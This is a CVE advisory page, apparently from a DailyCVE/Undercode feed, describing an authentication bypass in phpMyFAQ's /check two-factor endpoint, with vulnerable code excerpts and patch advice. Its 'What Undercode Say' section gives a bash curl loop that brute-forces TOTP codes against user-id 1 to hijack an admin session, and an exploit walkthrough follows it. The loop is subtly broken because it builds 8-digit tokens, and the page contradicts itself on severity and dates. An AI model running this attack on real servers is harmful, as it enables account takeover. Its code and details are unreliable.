phpMyFAQ, Authentication Bypass, CVE-2026-56737 (High) -DC-Sep2026-2575

Listen to this Post

CVE-2026-56737 is a critical authentication bypass vulnerability affecting phpMyFAQ versions 3.2.0 through 4.1.5. The flaw resides in the public two-factor verification endpoint POST /check, which logs a user in based solely on a valid 6-digit TOTP token and a chosen user-id. The endpoint does not require, and is not bound to, a prior successful password authentication. For any account that has 2FA enabled, an unauthenticated attacker can authenticate without knowing the password, reducing the account to a single factor (a 6-digit code) that is itself brute-forceable because this endpoint has no lockout. This is an authentication bypass of the primary credential for all 2FA-protected accounts, including administrators.
The vulnerable code at `src/phpMyFAQ/Controller/Frontend/AuthenticationController.php:255-283` accepts a `user-id` and a `token` parameter, loads the attacker-chosen user, and if the token length is 6, calls validateToken(). If validation succeeds, `twoFactorSuccess()` performs a complete session login without ever checking a password. There is no server-side state (such as a “password already verified for this user” flag) tying the `/check` step to the password step. The admin flow does it correctly via a `2fa_pending_user_id` session value set only after the password is validated, proving the frontend omission is a regression, not an intended design.
`validateToken()` returns `false` when the user has no secret, so this is not a universal bypass of all accounts — it specifically defeats the password factor of every 2FA-enabled account. Because `/check` has no failed-attempt lockout and the per-account login throttle is disabled by default, the 6-digit code can be brute-forced across TOTP windows. The net effect: 2FA, intended to strengthen the password, becomes the only barrier and is independently guessable.

DailyCVE Form

Platform: phpMyFAQ
Version: 3.2.0–4.1.5
Vulnerability: Authentication Bypass
Severity: High
date: 2026-09-24

Prediction: 2026-07-13

What Undercode Say

No password required. Submit user-id + a 6-digit TOTP guess to /check.
Iterate the token space; the session cookie returned on success is an authenticated session.
for code in $(seq -w 0 999999); do
curl -ks -c jar.txt -b jar.txt \
-X POST "https://target/check" \
--data-urlencode "user-id=1" \
--data-urlencode "token=$(printf '%06d' 10$code)" \
-o /dev/null -w "%{http_code} %{redirect_url}\n" \
| grep -q './' && echo "[+] logged in with token $code" && break
done

Vulnerable code snippet:

[Route(path: '/check', name: 'public.auth.check', methods: ['POST'])]
public function check(Request $request): RedirectResponse
{
if ($this->currentUser->isLoggedIn()) {
return new RedirectResponse(url: './');
}
$token = Filter::filterVar($request->request->get('token'), FILTER_SANITIZE_SPECIAL_CHARS);
$userId = (int) Filter::filterVar($request->request->get('user-id'), FILTER_VALIDATE_INT);
if ($userId <= 0) { / ... / }
$this->currentUserService->getUserById($userId);
if (strlen((string) $token) === 6) {
$result = $this->twoFactor->validateToken($token, $userId);
if ($result) {
$this->currentUserService->twoFactorSuccess();
return new RedirectResponse(url: './');
}
}
// ...
}

`twoFactorSuccess()` performs a complete session login:

public function twoFactorSuccess(): bool
{
$this->setLoggedIn(true);
$this->updateSessionId(true);
$this->saveToSession();
$this->setSuccess(true);
return true;
}

`validateToken()` returns `false` when the user has no secret:

public function validateToken(string $token, int $userId): bool
{
if (strlen($token) !== 6 || $userId <= 0) { return false; }
$this->currentUser->getUserById($userId);
$secret = $this->currentUser->getUserData('secret');
if (!is_string($secret) || $secret === '') { return false; }
return $this->twoFactorAuth->verifyCode($secret, $token);
}

Exploit: (Educational Purposes!)

Pre-requisite: a target account (e.g. admin) has 2FA enabled. The attacker knows or enumerates the numeric user-id (1 = first/admin account in default installs). The attacker sends a POST request to `/check` with the chosen `user-id` and a guessed 6-digit TOTP token. Because there is no lockout and the throttle is disabled by default, the attacker can brute-force the token space across TOTP windows. A successful guess yields a logged-in session cookie, resulting in full account takeover without ever using the password. If the attacker already controls or has phished the victim’s TOTP device, a single request authenticates with no password at all.

Protection: from this CVE

Upgrade to phpMyFAQ version 4.1.6 or later. The patch binds TOTP verification to a session established after successful password authentication and limits failed TOTP attempts. No official workaround is documented for affected versions.

Impact

Authentication bypass (CWE-287) / missing authentication for a critical step (CWE-306). The password — the primary credential — is never required for any 2FA-enabled account. Combined with the absent lockout, this enables full account takeover of users and administrators. Impacted: any deployment where users enable two-factor authentication.

🎯Let’s Practice Exploiting & Learn Patching For Free:

🎓 Live Courses & Certifications:

Join Undercode Academy for Verified Certifications

🚀 Request a Custom Project:

Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top